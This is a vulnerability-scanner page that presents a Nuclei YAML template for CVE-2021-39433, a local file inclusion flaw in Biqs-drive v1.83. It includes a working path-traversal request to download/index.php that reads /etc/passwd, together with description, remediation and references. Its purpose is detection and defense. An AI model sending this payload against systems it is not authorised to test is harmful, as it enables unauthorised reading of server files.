BIQS IT Biqs-drive v1.83 Local File Inclusion

ID: CVE-2021-39433

Severity: high

Author: Veshraj

Tags: cve2021,cve,lfi,biqsdrive,biqs

Description

A local file inclusion vulnerability exists in version BIQS IT Biqs-drive v1.83 and below when sending a specific payload as the file parameter to download/index.php. This allows the attacker to read arbitrary files from the server with the permissions of the configured web-user.

YAML Source

id: CVE-2021-39433

info:
  name: BIQS IT Biqs-drive v1.83 Local File Inclusion
  author: Veshraj
  severity: high
  description: A local file inclusion vulnerability exists in version BIQS IT Biqs-drive v1.83 and below when sending a specific payload as the file parameter to download/index.php. This allows the attacker to read arbitrary files from the server with the permissions of the configured web-user.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Upgrade to the latest version of BIQS IT Biqs-drive (v1.84 or higher) which includes a fix for the Local File Inclusion vulnerability.
  reference:
    - https://github.com/PinkDraconian/CVE-2021-39433/blob/main/README.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39433
    - https://biqs-drive.be/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-39433
    epss-score: 0.00688
    epss-percentile: 0.80055
    cpe: cpe:2.3:a:biqs:biqsdrive:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: biqs
    product: biqsdrive
  tags: cve2021,cve,lfi,biqsdrive,biqs

http:
  - method: GET
    path:
      - "{{BaseURL}}/download/index.php?file=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f9b2ecedd8df422ec19ffcb5c6299cb574c82db1d13dd17359064246ce6fb06002203a67b4d8aa15cf7ace785288538aac6086ed74a62795c85ae915eed3c14afbf1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-39433.yaml"

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